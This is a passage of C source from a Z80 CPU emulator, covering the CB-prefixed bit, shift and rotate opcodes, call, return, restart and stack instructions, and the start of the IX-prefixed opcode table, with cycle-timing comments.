de.b.l|=0x80; setznc(de.b.l); cycles-=8; break; /*RRC E*/ case 0x0C: if (hl.b.h&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; hl.b.h>>=1; if (af.b.l&C_FLAG) hl.b.h|=0x80; setznc(hl.b.h); cycles-=8; break; /*RRC H*/ case 0x0D: if (hl.b.l&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; hl.b.l>>=1; if (af.b.l&C_FLAG) hl.b.l|=0x80; setznc(hl.b.l); cycles-=8; break; /*RRC L*/ case 0x0E: temp=readmem(hl.w); if (temp&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; temp>>=1; if (af.b.l&C_FLAG) temp|=0x80; setznc(temp); writemem(hl.w,temp); cycles-=16; break; /*RRC (HL)*/// t 16 case 0x0F: if (af.b.h&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; af.b.h>>=1; if (af.b.l&C_FLAG) af.b.h|=0x80; setznc(af.b.h); cycles-=8; break; /*RRC A*/ case 0x10: if (bc.b.h&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; bc.b.h<<=1; if (tempc) bc.b.h|=1; setznc(bc.b.h); cycles-=8; break; /*RL B*/ case 0x11: if (bc.b.l&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; bc.b.l<<=1; if (tempc) bc.b.l|=1; setznc(bc.b.l); cycles-=8; break; /*RL C*/ case 0x12: if (de.b.h&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; de.b.h<<=1; if (tempc) de.b.h|=1; setznc(de.b.h); cycles-=8; break; /*RL D*/ case 0x13: if (de.b.l&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; de.b.l<<=1; if (tempc) de.b.l|=1; setznc(de.b.l); cycles-=8; break; /*RL E*/ case 0x14: if (hl.b.h&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; hl.b.h<<=1; if (tempc) hl.b.h|=1; setznc(hl.b.h); cycles-=8; break; /*RL H*/ case 0x15: if (hl.b.l&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; hl.b.l<<=1; if (tempc) hl.b.l|=1; setznc(hl.b.l); cycles-=8; break; /*RL L*/ case 0x16: temp=readmem(hl.w); if (temp&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; temp<<=1; if (tempc) temp|=1; setznc(temp); writemem(hl.w,temp); cycles-=16; break; /*RL (HL)*/ // t 16 case 0x17: if (af.b.h&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; af.b.h<<=1; if (tempc) af.b.h|=1; setznc(af.b.h); cycles-=8; break; /*RL A*/ case 0x18: if (bc.b.h&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; bc.b.h>>=1; if (tempc) bc.b.h|=0x80; setznc(bc.b.h); cycles-=8; break; /*RR B*/ case 0x19: if (bc.b.l&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; bc.b.l>>=1; if (tempc) bc.b.l|=0x80; setznc(bc.b.l); cycles-=8; break; /*RR C*/ case 0x1A: if (de.b.h&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; de.b.h>>=1; if (tempc) de.b.h|=0x80; setznc(de.b.h); cycles-=8; break; /*RR D*/ case 0x1B: if (de.b.l&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; de.b.l>>=1; if (tempc) de.b.l|=0x80; setznc(de.b.l); cycles-=8; break; /*RR E*/ case 0x1C: if (hl.b.h&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; hl.b.h>>=1; if (tempc) hl.b.h|=0x80; setznc(hl.b.h); cycles-=8; break; /*RR H*/ case 0x1D: if (hl.b.l&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; hl.b.l>>=1; if (tempc) hl.b.l|=0x80; setznc(hl.b.l); cycles-=8; break; /*RR L*/ case 0x1E: temp=readmem(hl.w); if (temp&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; temp>>=1; if (tempc) temp|=0x80; setznc(temp); writemem(hl.w,temp); cycles-=16; break; /*RR (HL)*/ // t 16 case 0x1F: if (af.b.h&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; af.b.h>>=1; if (tempc) af.b.h|=0x80; setznc(af.b.h); cycles-=8; break; /*RR A*/ case 0x20: if (bc.b.h&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; bc.b.h<<=1; setznc(bc.b.h); cycles-=8; break; /*SLA B*/ case 0x21: if (bc.b.l&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; bc.b.l<<=1; setznc(bc.b.l); cycles-=8; break; /*SLA C*/ case 0x22: if (de.b.h&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; de.b.h<<=1; setznc(de.b.h); cycles-=8; break; /*SLA D*/ case 0x23: if (de.b.l&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; de.b.l<<=1; setznc(de.b.l); cycles-=8; break; /*SLA E*/ case 0x24: if (hl.b.h&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; hl.b.h<<=1; setznc(hl.b.h); cycles-=8; break; /*SLA H*/ case 0x25: if (hl.b.l&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; hl.b.l<<=1; setznc(hl.b.l); cycles-=8; break; /*SLA L*/ case 0x26: temp=readmem(hl.w); if (temp&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; temp<<=1; setznc(temp); writemem(hl.w,temp); cycles-=16; break; /*SLA (HL)*/ // t 16 case 0x27: if (af.b.h&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; af.b.h<<=1; setznc(af.b.h); cycles-=8; break; /*SLA A*/ case 0x28: if (bc.b.h&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; bc.b.h>>=1; if (bc.b.h&0x40) bc.b.h|=0x80; setznc(bc.b.h); cycles-=8; break; /*SRA B*/ case 0x29: if (bc.b.l&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; bc.b.l>>=1; if (bc.b.l&0x40) bc.b.l|=0x80; setznc(bc.b.l); cycles-=8; break; /*SRA C*/ case 0x2A: if (de.b.h&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; de.b.h>>=1; if (de.b.h&0x40) de.b.h|=0x80; setznc(de.b.h); cycles-=8; break; /*SRA D*/ case 0x2B: if (de.b.l&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; de.b.l>>=1; if (de.b.l&0x40) de.b.l|=0x80; setznc(de.b.l); cycles-=8; break; /*SRA E*/ case 0x2C: if (hl.b.h&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; hl.b.h>>=1; if (hl.b.h&0x40) hl.b.h|=0x80; setznc(hl.b.h); cycles-=8; break; /*SRA H*/ case 0x2D: if (hl.b.l&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; hl.b.l>>=1; if (hl.b.l&0x40) hl.b.l|=0x80; setznc(hl.b.l); cycles-=8; break; /*SRA L*/ case 0x2E: temp=readmem(hl.w); if (temp&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; temp>>=1; if (temp&0x40) temp|=0x80; setznc(temp); writemem(hl.w,temp); cycles-=16; break; /*SRA (HL)*/ //t 16 case 0x2F: if (af.b.h&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; af.b.h>>=1; if (af.b.h&0x40) af.b.h|=0x80; setznc(af.b.h); cycles-=8; break; /*SRA A*/ case 0x30: if (bc.b.h&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; bc.b.h<<=1; bc.b.h|=1; setznc(bc.b.h); cycles-=8; break; /*SLL B*/ case 0x31: if (bc.b.l&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; bc.b.l<<=1; bc.b.l|=1; setznc(bc.b.l); cycles-=8; break; /*SLL C*/ case 0x32: if (de.b.h&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; de.b.h<<=1; de.b.h|=1; setznc(de.b.h); cycles-=8; break; /*SLL D*/ case 0x33: if (de.b.l&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; de.b.l<<=1; de.b.l|=1; setznc(de.b.l); cycles-=8; break; /*SLL E*/ case 0x34: if (hl.b.h&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; hl.b.h<<=1; hl.b.h|=1; setznc(hl.b.h); cycles-=8; break; /*SLL H*/ case 0x35: if (hl.b.l&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; hl.b.l<<=1; hl.b.l|=1; setznc(hl.b.l); cycles-=8; break; /*SLL L*/ case 0x36: temp=readmem(hl.w); if (temp&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; temp<<=1; temp|=1; setznc(temp); writemem(hl.w,temp); cycles-=16; break; /*SLL (HL)*/ // t 16 case 0x37: if (af.b.h&0x80) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; af.b.h<<=1; af.b.h|=1; setznc(af.b.h); cycles-=8; break; /*SLL A*/ case 0x38: if (bc.b.h&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; bc.b.h>>=1; setznc(bc.b.h); cycles-=8; break; /*SRL B*/ case 0x39: if (bc.b.l&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; bc.b.l>>=1; setznc(bc.b.l); cycles-=8; break; /*SRL C*/ case 0x3A: if (de.b.h&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; de.b.h>>=1; setznc(de.b.h); cycles-=8; break; /*SRL D*/ case 0x3B: if (de.b.l&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; de.b.l>>=1; setznc(de.b.l); cycles-=8; break; /*SRL E*/ case 0x3C: if (hl.b.h&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; hl.b.h>>=1; setznc(hl.b.h); cycles-=8; break; /*SRL H*/ case 0x3D: if (hl.b.l&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; hl.b.l>>=1; setznc(hl.b.l); cycles-=8; break; /*SRL L*/ case 0x3E: temp=readmem(hl.w); if (temp&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; temp>>=1; setznc(temp); writemem(hl.w,temp); cycles-=16; break; /*SRL (HL)*/ //t 16 case 0x3F: if (af.b.h&1) af.b.l|=C_FLAG; else af.b.l&=~C_FLAG; af.b.h>>=1; setznc(af.b.h); cycles-=8; break; /*SRL A*/ case 0x40: setznc(bc.b.h&0x01); cycles-=8; break; /*BIT 0,B*/ case 0x41: setznc(bc.b.l&0x01); cycles-=8; break; /*BIT 0,C*/ case 0x42: setznc(de.b.h&0x01); cycles-=8; break; /*BIT 0,D*/ case 0x43: setznc(de.b.l&0x01); cycles-=8; break; /*BIT 0,E*/ case 0x44: setznc(hl.b.h&0x01); cycles-=8; break; /*BIT 0,H*/ case 0x45: setznc(hl.b.l&0x01); cycles-=8; break; /*BIT 0,L*/ case 0x46: temp=readmem(hl.w); setznc(temp&0x01); cycles-=12; break; /*BIT 0,(HL)*/ case 0x47: setznc(af.b.h&0x01); cycles-=8; break; /*BIT 0,A*/ case 0x48: setznc(bc.b.h&0x02); cycles-=8; break; /*BIT 1,B*/ case 0x49: setznc(bc.b.l&0x02); cycles-=8; break; /*BIT 1,C*/ case 0x4A: setznc(de.b.h&0x02); cycles-=8; break; /*BIT 1,D*/ case 0x4B: setznc(de.b.l&0x02); cycles-=8; break; /*BIT 1,E*/ case 0x4C: setznc(hl.b.h&0x02); cycles-=8; break; /*BIT 1,H*/ case 0x4D: setznc(hl.b.l&0x02); cycles-=8; break; /*BIT 1,L*/ case 0x4E: temp=readmem(hl.w); setznc(temp&0x02); cycles-=12; break; /*BIT 1,(HL)*/ case 0x4F: setznc(af.b.h&0x02); cycles-=8; break; /*BIT 1,A*/ case 0x50: setznc(bc.b.h&0x04); cycles-=8; break; /*BIT 2,B*/ case 0x51: setznc(bc.b.l&0x04); cycles-=8; break; /*BIT 2,C*/ case 0x52: setznc(de.b.h&0x04); cycles-=8; break; /*BIT 2,D*/ case 0x53: setznc(de.b.l&0x04); cycles-=8; break; /*BIT 2,E*/ case 0x54: setznc(hl.b.h&0x04); cycles-=8; break; /*BIT 2,H*/ case 0x55: setznc(hl.b.l&0x04); cycles-=8; break; /*BIT 2,L*/ case 0x56: temp=readmem(hl.w); setznc(temp&0x04); cycles-=12; break; /*BIT 2,(HL)*/ case 0x57: setznc(af.b.h&0x04); cycles-=8; break; /*BIT 2,A*/ case 0x58: setznc(bc.b.h&0x08); cycles-=8; break; /*BIT 3,B*/ case 0x59: setznc(bc.b.l&0x08); cycles-=8; break; /*BIT 3,C*/ case 0x5A: setznc(de.b.h&0x08); cycles-=8; break; /*BIT 3,D*/ case 0x5B: setznc(de.b.l&0x08); cycles-=8; break; /*BIT 3,E*/ case 0x5C: setznc(hl.b.h&0x08); cycles-=8; break; /*BIT 3,H*/ case 0x5D: setznc(hl.b.l&0x08); cycles-=8; break; /*BIT 3,L*/ case 0x5E: temp=readmem(hl.w); setznc(temp&0x08); cycles-=12; break; /*BIT 3,(HL)*/ case 0x5F: setznc(af.b.h&0x08); cycles-=8; break; /*BIT 3,A*/ case 0x60: setznc(bc.b.h&0x10); cycles-=8; break; /*BIT 4,B*/ case 0x61: setznc(bc.b.l&0x10); cycles-=8; break; /*BIT 4,C*/ case 0x62: setznc(de.b.h&0x10); cycles-=8; break; /*BIT 4,D*/ case 0x63: setznc(de.b.l&0x10); cycles-=8; break; /*BIT 4,E*/ case 0x64: setznc(hl.b.h&0x10); cycles-=8; break; /*BIT 4,H*/ case 0x65: setznc(hl.b.l&0x10); cycles-=8; break; /*BIT 4,L*/ case 0x66: temp=readmem(hl.w); setznc(temp&0x10); cycles-=12; break; /*BIT 4,(HL)*/ case 0x67: setznc(af.b.h&0x10); cycles-=8; break; /*BIT 4,A*/ case 0x68: setznc(bc.b.h&0x20); cycles-=8; break; /*BIT 5,B*/ case 0x69: setznc(bc.b.l&0x20); cycles-=8; break; /*BIT 5,C*/ case 0x6A: setznc(de.b.h&0x20); cycles-=8; break; /*BIT 5,D*/ case 0x6B: setznc(de.b.l&0x20); cycles-=8; break; /*BIT 5,E*/ case 0x6C: setznc(hl.b.h&0x20); cycles-=8; break; /*BIT 5,H*/ case 0x6D: setznc(hl.b.l&0x20); cycles-=8; break; /*BIT 5,L*/ case 0x6E: temp=readmem(hl.w); setznc(temp&0x20); cycles-=12; break; /*BIT 5,(HL)*/ case 0x6F: setznc(af.b.h&0x20); cycles-=8; break; /*BIT 5,A*/ case 0x70: setznc(bc.b.h&0x40); cycles-=8; break; /*BIT 6,B*/ case 0x71: setznc(bc.b.l&0x40); cycles-=8; break; /*BIT 6,C*/ case 0x72: setznc(de.b.h&0x40); cycles-=8; break; /*BIT 6,D*/ case 0x73: setznc(de.b.l&0x40); cycles-=8; break; /*BIT 6,E*/ case 0x74: setznc(hl.b.h&0x40); cycles-=8; break; /*BIT 6,H*/ case 0x75: setznc(hl.b.l&0x40); cycles-=8; break; /*BIT 6,L*/ case 0x76: temp=readmem(hl.w); setznc(temp&0x40); cycles-=12; break; /*BIT 6,(HL)*/ case 0x77: setznc(af.b.h&0x40); cycles-=8; break; /*BIT 6,A*/ case 0x78: setznc(bc.b.h&0x80); cycles-=8; break; /*BIT 7,B*/ case 0x79: setznc(bc.b.l&0x80); cycles-=8; break; /*BIT 7,C*/ case 0x7A: setznc(de.b.h&0x80); cycles-=8; break; /*BIT 7,D*/ case 0x7B: setznc(de.b.l&0x80); cycles-=8; break; /*BIT 7,E*/ case 0x7C: setznc(hl.b.h&0x80); cycles-=8; break; /*BIT 7,H*/ case 0x7D: setznc(hl.b.l&0x80); cycles-=8; break; /*BIT 7,L*/ case 0x7E: temp=readmem(hl.w); setznc(temp&0x80); cycles-=12; break; /*BIT 7,(HL)*/ case 0x7F: setznc(af.b.h&0x80); cycles-=8; break; /*BIT 7,A*/ case 0x80: bc.b.h&=~1; cycles-=8; break; /*RES 0,B*/ case 0x81: bc.b.l&=~1; cycles-=8; break; /*RES 0,C*/ case 0x82: de.b.h&=~1; cycles-=8; break; /*RES 0,D*/ case 0x83: de.b.l&=~1; cycles-=8; break; /*RES 0,E*/ case 0x84: hl.b.h&=~1; cycles-=8; break; /*RES 0,H*/ case 0x85: hl.b.l&=~1; cycles-=8; break; /*RES 0,L*/ case 0x86: temp=readmem(hl.w)&~0x01; writemem(hl.w,temp); cycles-=16; break; /*RES 0,(HL)*/ // t 16 case 0x87: af.b.h&=~1; cycles-=8; break; /*RES 0,A*/ case 0x88: bc.b.h&=~2; cycles-=8; break; /*RES 1,B*/ case 0x89: bc.b.l&=~2; cycles-=8; break; /*RES 1,C*/ case 0x8A: de.b.h&=~2; cycles-=8; break; /*RES 1,D*/ case 0x8B: de.b.l&=~2; cycles-=8; break; /*RES 1,E*/ case 0x8C: hl.b.h&=~2; cycles-=8; break; /*RES 1,H*/ case 0x8D: hl.b.l&=~2; cycles-=8; break; /*RES 1,L*/ case 0x8E: temp=readmem(hl.w)&~0x02; writemem(hl.w,temp); cycles-=16; break; /*RES 1,(HL)*/ // t 16 case 0x8F: af.b.h&=~2; cycles-=8; break; /*RES 1,A*/ case 0x90: bc.b.h&=~4; cycles-=8; break; /*RES 2,B*/ case 0x91: bc.b.l&=~4; cycles-=8; break; /*RES 2,C*/ case 0x92: de.b.h&=~4; cycles-=8; break; /*RES 2,D*/ case 0x93: de.b.l&=~4; cycles-=8; break; /*RES 2,E*/ case 0x94: hl.b.h&=~4; cycles-=8; break; /*RES 2,H*/ case 0x95: hl.b.l&=~4; cycles-=8; break; /*RES 2,L*/ case 0x96: temp=readmem(hl.w)&~0x04; writemem(hl.w,temp); cycles-=16; break; /*RES 2,(HL)*/ // t 16 case 0x97: af.b.h&=~4; cycles-=8; break; /*RES 2,A*/ case 0x98: bc.b.h&=~8; cycles-=8; break; /*RES 3,B*/ case 0x99: bc.b.l&=~8; cycles-=8; break; /*RES 3,C*/ case 0x9A: de.b.h&=~8; cycles-=8; break; /*RES 3,D*/ case 0x9B: de.b.l&=~8; cycles-=8; break; /*RES 3,E*/ case 0x9C: hl.b.h&=~8; cycles-=8; break; /*RES 3,H*/ case 0x9D: hl.b.l&=~8; cycles-=8; break; /*RES 3,L*/ case 0x9E: temp=readmem(hl.w)&~0x08; writemem(hl.w,temp); cycles-=16; break; /*RES 3,(HL)*/ // t 16 case 0x9F: af.b.h&=~8; cycles-=8; break; /*RES 3,A*/ case 0xA0: bc.b.h&=~0x10; cycles-=8; break; /*RES 4,B*/ case 0xA1: bc.b.l&=~0x10; cycles-=8; break; /*RES 4,C*/ case 0xA2: de.b.h&=~0x10; cycles-=8; break; /*RES 4,D*/ case 0xA3: de.b.l&=~0x10; cycles-=8; break; /*RES 4,E*/ case 0xA4: hl.b.h&=~0x10; cycles-=8; break; /*RES 4,H*/ case 0xA5: hl.b.l&=~0x10; cycles-=8; break; /*RES 4,L*/ case 0xA6: temp=readmem(hl.w)&~0x10; writemem(hl.w,temp); cycles-=16; break; /*RES 4,(HL)*/ // t 16 case 0xA7: af.b.h&=~0x10; cycles-=8; break; /*RES 4,A*/ case 0xA8: bc.b.h&=~0x20; cycles-=8; break; /*RES 5,B*/ case 0xA9: bc.b.l&=~0x20; cycles-=8; break; /*RES 5,C*/ case 0xAA: de.b.h&=~0x20; cycles-=8; break; /*RES 5,D*/ case 0xAB: de.b.l&=~0x20; cycles-=8; break; /*RES 5,E*/ case 0xAC: hl.b.h&=~0x20; cycles-=8; break; /*RES 5,H*/ case 0xAD: hl.b.l&=~0x20; cycles-=8; break; /*RES 5,L*/ case 0xAE: temp=readmem(hl.w)&~0x20; writemem(hl.w,temp); cycles-=16; break; /*RES 5,(HL)*/ // t 16 case 0xAF: af.b.h&=~0x20; cycles-=8; break; /*RES 5,A*/ case 0xB0: bc.b.h&=~0x40; cycles-=8; break; /*RES 6,B*/ case 0xB1: bc.b.l&=~0x40; cycles-=8; break; /*RES 6,C*/ case 0xB2: de.b.h&=~0x40; cycles-=8; break; /*RES 6,D*/ case 0xB3: de.b.l&=~0x40; cycles-=8; break; /*RES 6,E*/ case 0xB4: hl.b.h&=~0x40; cycles-=8; break; /*RES 6,H*/ case 0xB5: hl.b.l&=~0x40; cycles-=8; break; /*RES 6,L*/ case 0xB6: temp=readmem(hl.w)&~0x40; writemem(hl.w,temp); cycles-=16; break; /*RES 6,(HL)*/ // t 16 case 0xB7: af.b.h&=~0x40; cycles-=8; break; /*RES 6,A*/ case 0xB8: bc.b.h&=~0x80; cycles-=8; break; /*RES 7,B*/ case 0xB9: bc.b.l&=~0x80; cycles-=8; break; /*RES 7,C*/ case 0xBA: de.b.h&=~0x80; cycles-=8; break; /*RES 7,D*/ case 0xBB: de.b.l&=~0x80; cycles-=8; break; /*RES 7,E*/ case 0xBC: hl.b.h&=~0x80; cycles-=8; break; /*RES 7,H*/ case 0xBD: hl.b.l&=~0x80; cycles-=8; break; /*RES 7,L*/ case 0xBE: temp=readmem(hl.w)&~0x80; writemem(hl.w,temp); cycles-=16; break; /*RES 7,(HL)*/ // t 16 case 0xBF: af.b.h&=~0x80; cycles-=8; break; /*RES 7,A*/ case 0xC0: bc.b.h|=0x01; cycles-=8; break; /*SET 0,B*/ case 0xC1: bc.b.l|=0x01; cycles-=8; break; /*SET 0,C*/ case 0xC2: de.b.h|=0x01; cycles-=8; break; /*SET 0,D*/ case 0xC3: de.b.l|=0x01; cycles-=8; break; /*SET 0,E*/ case 0xC4: hl.b.h|=0x01; cycles-=8; break; /*SET 0,H*/ case 0xC5: hl.b.l|=0x01; cycles-=8; break; /*SET 0,L*/ case 0xC6: temp=readmem(hl.w)|0x01; writemem(hl.w,temp); cycles-=16; break; /*SET 0,(HL)*/ // t 16 case 0xC7: af.b.h|=0x01; cycles-=8; break; /*SET 0,A*/ case 0xC8: bc.b.h|=0x02; cycles-=8; break; /*SET 1,B*/ case 0xC9: bc.b.l|=0x02; cycles-=8; break; /*SET 1,C*/ case 0xCA: de.b.h|=0x02; cycles-=8; break; /*SET 1,D*/ case 0xCB: de.b.l|=0x02; cycles-=8; break; /*SET 1,E*/ case 0xCC: hl.b.h|=0x02; cycles-=8; break; /*SET 1,H*/ case 0xCD: hl.b.l|=0x02; cycles-=8; break; /*SET 1,L*/ case 0xCE: temp=readmem(hl.w)|0x02; writemem(hl.w,temp); cycles-=16; break; /*SET 1,(HL)*/ // t 16 case 0xCF: af.b.h|=0x02; cycles-=8; break; /*SET 1,A*/ case 0xD0: bc.b.h|=0x04; cycles-=8; break; /*SET 2,B*/ case 0xD1: bc.b.l|=0x04; cycles-=8; break; /*SET 2,C*/ case 0xD2: de.b.h|=0x04; cycles-=8; break; /*SET 2,D*/ case 0xD3: de.b.l|=0x04; cycles-=8; break; /*SET 2,E*/ case 0xD4: hl.b.h|=0x04; cycles-=8; break; /*SET 2,H*/ case 0xD5: hl.b.l|=0x04; cycles-=8; break; /*SET 2,L*/ case 0xD6: temp=readmem(hl.w)|0x04; writemem(hl.w,temp); cycles-=16; break; /*SET 2,(HL)*/ // t 16 case 0xD7: af.b.h|=0x04; cycles-=8; break; /*SET 2,A*/ case 0xD8: bc.b.h|=0x08; cycles-=8; break; /*SET 3,B*/ case 0xD9: bc.b.l|=0x08; cycles-=8; break; /*SET 3,C*/ case 0xDA: de.b.h|=0x08; cycles-=8; break; /*SET 3,D*/ case 0xDB: de.b.l|=0x08; cycles-=8; break; /*SET 3,E*/ case 0xDC: hl.b.h|=0x08; cycles-=8; break; /*SET 3,H*/ case 0xDD: hl.b.l|=0x08; cycles-=8; break; /*SET 3,L*/ case 0xDE: temp=readmem(hl.w)|0x08; writemem(hl.w,temp); cycles-=16; break; /*SET 3,(HL)*/ // t 16 case 0xDF: af.b.h|=0x08; cycles-=8; break; /*SET 3,A*/ case 0xE0: bc.b.h|=0x10; cycles-=8; break; /*SET 4,B*/ case 0xE1: bc.b.l|=0x10; cycles-=8; break; /*SET 4,C*/ case 0xE2: de.b.h|=0x10; cycles-=8; break; /*SET 4,D*/ case 0xE3: de.b.l|=0x10; cycles-=8; break; /*SET 4,E*/ case 0xE4: hl.b.h|=0x10; cycles-=8; break; /*SET 4,H*/ case 0xE5: hl.b.l|=0x10; cycles-=8; break; /*SET 4,L*/ case 0xE6: temp=readmem(hl.w)|0x10; writemem(hl.w,temp); cycles-=16; break; /*SET 4,(HL)*/ // t 16 case 0xE7: af.b.h|=0x10; cycles-=8; break; /*SET 4,A*/ case 0xE8: bc.b.h|=0x20; cycles-=8; break; /*SET 5,B*/ case 0xE9: bc.b.l|=0x20; cycles-=8; break; /*SET 5,C*/ case 0xEA: de.b.h|=0x20; cycles-=8; break; /*SET 5,D*/ case 0xEB: de.b.l|=0x20; cycles-=8; break; /*SET 5,E*/ case 0xEC: hl.b.h|=0x20; cycles-=8; break; /*SET 5,H*/ case 0xED: hl.b.l|=0x20; cycles-=8; break; /*SET 5,L*/ case 0xEE: temp=readmem(hl.w)|0x20; writemem(hl.w,temp); cycles-=16; break; /*SET 5,(HL)*/ // t 16 case 0xEF: af.b.h|=0x20; cycles-=8; break; /*SET 5,A*/ case 0xF0: bc.b.h|=0x40; cycles-=8; break; /*SET 6,B*/ case 0xF1: bc.b.l|=0x40; cycles-=8; break; /*SET 6,C*/ case 0xF2: de.b.h|=0x40; cycles-=8; break; /*SET 6,D*/ case 0xF3: de.b.l|=0x40; cycles-=8; break; /*SET 6,E*/ case 0xF4: hl.b.h|=0x40; cycles-=8; break; /*SET 6,H*/ case 0xF5: hl.b.l|=0x40; cycles-=8; break; /*SET 6,L*/ case 0xF6: temp=readmem(hl.w)|0x40; writemem(hl.w,temp); cycles-=16; break; /*SET 6,(HL)*/ // t 16 case 0xF7: af.b.h|=0x40; cycles-=8; break; /*SET 6,A*/ case 0xF8: bc.b.h|=0x80; cycles-=8; break; /*SET 7,B*/ case 0xF9: bc.b.l|=0x80; cycles-=8; break; /*SET 7,C*/ case 0xFA: de.b.h|=0x80; cycles-=8; break; /*SET 7,D*/ case 0xFB: de.b.l|=0x80; cycles-=8; break; /*SET 7,E*/ case 0xFC: hl.b.h|=0x80; cycles-=8; break; /*SET 7,H*/ case 0xFD: hl.b.l|=0x80; cycles-=8; break; /*SET 7,L*/ case 0xFE: temp=readmem(hl.w)|0x80; writemem(hl.w,temp); cycles-=16; break; /*SET 7,(HL)*/ // t 16 case 0xFF: af.b.h|=0x80; cycles-=8; break; /*SET 7,A*/ default: //printf("Bad CB opcode %02X at %04X\n",opcode,--pc); dumpregs(); exit(-1); } break; // t 5 8? case 0xCC: /*CALL Z*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; if (af.b.l&Z_FLAG) { push(pc>>8); push(pc&0xFF); pc=addr; cycles-=20; } else { cycles-=12; } break; // t 20 case 0xCD: /*CALL*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; push(pc>>8); push(pc&0xFF); pc=addr; cycles-=20; break; // t 8 case 0xCE: /*ADC xx*/ temp=readmem(pc); pc++; setadc(af.b.h,temp); af.b.h+=(temp+tempc); cycles-=8; break; // t 16 case 0xCF: /*RST 8*/ push(pc>>8); push(pc); pc=0x08; cycles-=16; break; // t 12 -- conflict (only 5) - using Aspectrum T case 0xD0: /*RET NC*/ if (!(af.b.l&C_FLAG)) { pc=pull(); pc|=pull()<<8; cycles-=16; } else { cycles-=8; } break; // t 12 case 0xD1: /*POP DE*/ de.b.l=pull(); de.b.h=pull(); cycles-=12; break; // t 12 case 0xD2: /*JP NC,xxxx*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; if (!(af.b.l&C_FLAG)) pc=addr; cycles-=12; break; // t 12 case 0xD3: /*OUT (xx),A*/ temp=readmem(pc); pc++; z80out(temp|(af.b.h<<8),af.b.h); cycles-=12; break; // t 8 12 case 0xD4: /*CALL NC*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; if (!(af.b.l&C_FLAG)) { push(pc>>8); push(pc&0xFF); pc=addr; cycles-=20; } else { cycles-=12; } break; // t 12 case 0xD5: /*PUSH DE*/ push(de.b.h); push(de.b.l); cycles-=16; break; // t 8 case 0xD6: /*SUB xx*/ temp=readmem(pc); pc++; setsub(af.b.h,temp); af.b.h-=temp; cycles-=8; break; // t 16 case 0xD7: /*RST 10*/ push(pc>>8); push(pc); pc=0x10; cycles-=16; break; // t 12 -- CONFLICT (only 5) using ASPECTRUM T case 0xD8: /*RET C*/ if (af.b.l&C_FLAG) { pc=pull(); pc|=pull()<<8; cycles-=16; } else { cycles-=8; } break; // t 4 case 0xD9: /*EXX*/ tempw=bc.w; bc.w=sbc.w; sbc.w=tempw; tempw=de.w; de.w=sde.w; sde.w=tempw; tempw=hl.w; hl.w=shl.w; shl.w=tempw; cycles-=4; break; // t 12 case 0xDA: /*JP C,xxxx*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; if (af.b.l&C_FLAG) pc=addr; cycles-=12; break; // t 12 case 0xDB: /*IN A,(xx)*/ addr=readmem(pc); pc++; af.b.h=z80in((af.b.h<<8)|addr); cycles-=12; break; // t 8 12 case 0xDC: /*CALL C*/ addr=readmem(pc)|(readmem(pc+1)<<8); pc+=2; if (af.b.l&C_FLAG) { push(pc>>8); push(pc&0xFF); pc=addr; cycles-=20; } else { cycles-=12; } break; case 0xDD: /*More opcodes - IX*/ ir.b.l++; opcode=readmem(pc); pc++; switch (opcode) { case 0x09: /*ADD IX,BC*/ setadd16(ix.w,bc.w); ix.w+=bc.w; cycles-=16; //t 16 break; case 0x19: /*ADD IX,DE*/ 